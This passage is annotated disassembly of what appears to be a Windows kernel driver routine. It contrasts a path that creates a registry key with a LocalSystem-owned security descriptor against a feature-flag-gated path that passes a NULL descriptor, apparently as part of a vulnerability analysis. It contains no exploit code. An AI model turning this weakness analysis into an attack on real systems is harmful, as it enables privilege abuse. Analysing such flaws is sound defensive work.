&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478a8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478aa:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c004797d&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; false -&amp;gt; NO-SD path&lt;/span&gt;

&lt;span class="c1"&gt;; --- Safe path: SD built and applied ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478b0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; Create?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478b3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0047928&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478b5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478b9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x1c00454b0&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; build LocalSystem-owner SD&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478be:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478c0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c00479ea&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478c6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; rdi = SD&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478ca:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478ce:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478d3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x30&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; r8 = OBJECT_ATTRIBUTES*&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478d7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478dc:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478df:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xf003f&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; KEY_ALL_ACCESS&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478e4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478e9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; rcx = Handle*&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478ec:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x30&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; OA.Length = 0x30&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478f3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x28&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; OA.RootDirectory = 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478f7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x240&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; OA.Attributes = OBJ_CASE_INSENSITIVE|...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00478fe:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; OA.ObjectName = path&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047902:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; OA.SecurityDescriptor = SD  &amp;lt;-- safe&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047906:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; OA.SecurityQoS = 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004790a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0041338&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; ZwCreateKey (WITH SD)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047916:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004791a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004791c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0047960&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004791e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047921:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0047960&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047923:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047926:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0047960&lt;/span&gt;

&lt;span class="c1"&gt;; *** NO-SD PATH (owner defaults to creating context) (only reached when feature flag is false) ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004797d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x30&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; OA.Length&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047984:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xorps&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; xmm0 = 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047987:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x28&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; OA.RootDirectory = 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004798b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x30&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; r8 = OBJECT_ATTRIBUTES*&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004798f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x240&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; OA.Attributes&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0047996:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xf003f&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; KEY_ALL_ACCESS&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004799b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; OA.ObjectName = path&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c004799f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; rcx = Handle*&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479a2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movdqu&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; OA.SD=0 AND OA.QoS=0 (NULL)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479a7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; Create?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479aa:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c00479de&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479ac:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479b0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479b3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479b8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479bd:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479c2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0041338&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; ZwCreateKey (SecurityDescriptor = NULL)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00479ce:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
